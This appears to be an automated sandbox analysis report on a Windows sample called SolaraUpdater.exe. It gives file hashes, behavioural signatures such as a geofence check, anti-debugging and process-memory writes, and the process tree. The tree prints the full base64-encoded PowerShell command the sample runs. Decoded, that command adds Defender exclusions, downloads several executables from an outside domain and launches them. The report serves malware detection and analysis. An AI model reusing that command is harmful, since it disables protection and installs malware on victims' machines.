Analysis
- max time kernel
48s - max time network
58s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system - submitted
13/06/2024, 08:04
Behavioral task
behavioral1
Sample
SolaraUpdater.exe
Resource
win7-20240221-en
19 signatures
150 seconds
General
- Target SolaraUpdater.exe
- Size 4.7MB
- Sample240613-jyedksthpp
- SHA256 841f58be56dc3b74ffd29221c50e4571802f86e62d5ceae9a77c966dd4966c25
- MD5 f43ffcc95602f501c8ca74f97c94e5c0
- SHA1 8ac706553c3fe03195e797d9c0ca3d51a0cdca94
- SHA512 6ca7952795f22457edb2bf7360799301e77166703f6ef6cae613e52c7ba0edca2360a5a9d93772febc8d8a18294f253cc959be740c0a881599f080165f58f6db
- SSDEEP 98304:GVJ3X7WmteiflexgI7nNB7AENUDyIbJZk/crwxEG8cXda1el:43RtxfOF7NVAkUtrwxeyV
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation SolaraUpdater.exe -
resource yara_rule behavioral2/memory/932-4-0x0000000000400000-0x0000000000B83000-memory.dmp vmprotect behavioral2/memory/932-5-0x0000000000400000-0x0000000000B83000-memory.dmp vmprotect - Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 932 SolaraUpdater.exe -
pid Process 2200 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 932 SolaraUpdater.exe 932 SolaraUpdater.exe 2200 powershell.exe 2200 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2200 powershell.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 932 wrote to memory of 2200 932 SolaraUpdater.exe 81 PID 932 wrote to memory of 2200 932 SolaraUpdater.exe 81 PID 932 wrote to memory of 2200 932 SolaraUpdater.exe 81
Processes
-
C:\Users\Admin\AppData\Local\Temp\SolaraUpdater.exe"C:\Users\Admin\AppData\Local\Temp\SolaraUpdater.exe"1⤵
- Checks computer location settings
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:932 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAYgBtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZwB6AGMAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdABmAGcAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYwBhAG0AIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGIAbwBvAGsAcgBlAGEAZABpAG4AZwAyADAAMgA0AC4AbgBlAHQALwByAGUAbQBvAHQAZQAvAHIAYgBIAHkAcABlAHIAcwB1AHIAcgBvAGcAYQB0AGUAcwBhAHYAZQBzAEQAaABjAHAALgBlAHgAZQAnACwAIAA8ACMAaABuAGMAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAG0AcAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBrAHgAZgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwByAGIASAB5AHAAZQByAHMAdQByAHIAbwBnAGEAdABlAHMAYQB2AGUAcwBEAGgAYwBwAC4AZQB4AGUAJwApACkAPAAjAG0AaAB0ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGIAbwBvAGsAcgBlAGEAZABpAG4AZwAyADAAMgA0AC4AbgBlAHQALwBjAGwALwBTAG8AbABhAHIAYQBCAG8AbwB0AHMAdAByAGEAcABwAGUAcgAuAGUAeABlACcALAAgADwAIwB0AGIAeAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAYwB6ACMAPgAgAC0AUABhAHQAaAAgACgAJABwAHcAZAApAC4AcABhAHQAaAAgADwAIwBpAGMAcwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG8AbABhAHIAYQBCAG8AbwB0AHMAdAByAGEAcABwAGUAcgAuAGUAeABlACcAKQApADwAIwBsAGsAZwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBiAG8AbwBrAHIAZQBhAGQAaQBuAGcAMgAwADIANAAuAG4AZQB0AC8AbQAvAGMAbwBuAGgAbwBzAHQAcwBnAG0ALgBlAHgAZQAnACwAIAA8ACMAaABkAGsAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBzAGMAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBnAHYAbgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBjAG8AbgBoAG8AcwB0AHMAZwBtAC4AZQB4AGUAJwApACkAPAAjAGsAeQBhACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGIAbwBvAGsAcgBlAGEAZABpAG4AZwAyADAAMgA0AC4AbgBlAHQALwBjAC8AVgBDAF8AcgBlAGQAaQBzAHQAeAA2ADQALgBlAHgAZQAnACwAIAA8ACMAbgBhAHcAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBsAHQAdgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB0AGcAYQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEMAXwByAGUAZABpAHMAdAB4ADYANAAuAGUAeABlACcAKQApADwAIwBuAGMAawAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBuAGwAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAcgBjAGEAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAcgBiAEgAeQBwAGUAcgBzAHUAcgByAG8AZwBhAHQAZQBzAGEAdgBlAHMARABoAGMAcAAuAGUAeABlACcAKQA8ACMAdABhAHUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdQByAGcAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACgAJABwAHcAZAApAC4AcABhAHQAaAAgADwAIwBrAGMAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG8AbABhAHIAYQBCAG8AbwB0AHMAdAByAGEAcABwAGUAcgAuAGUAeABlACcAKQA8ACMAcQBwAHYAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdQBuAG0AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGUAdwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAGMAbwBuAGgAbwBzAHQAcwBnAG0ALgBlAHgAZQAnACkAPAAjAHAAYwB1ACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAbAB4ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBtAG4AYQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEMAXwByAGUAZABpAHMAdAB4ADYANAAuAGUAeABlACcAKQA8ACMAawBjAGcAIwA+AA=="2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2200
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qa4ifpy2.woy.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512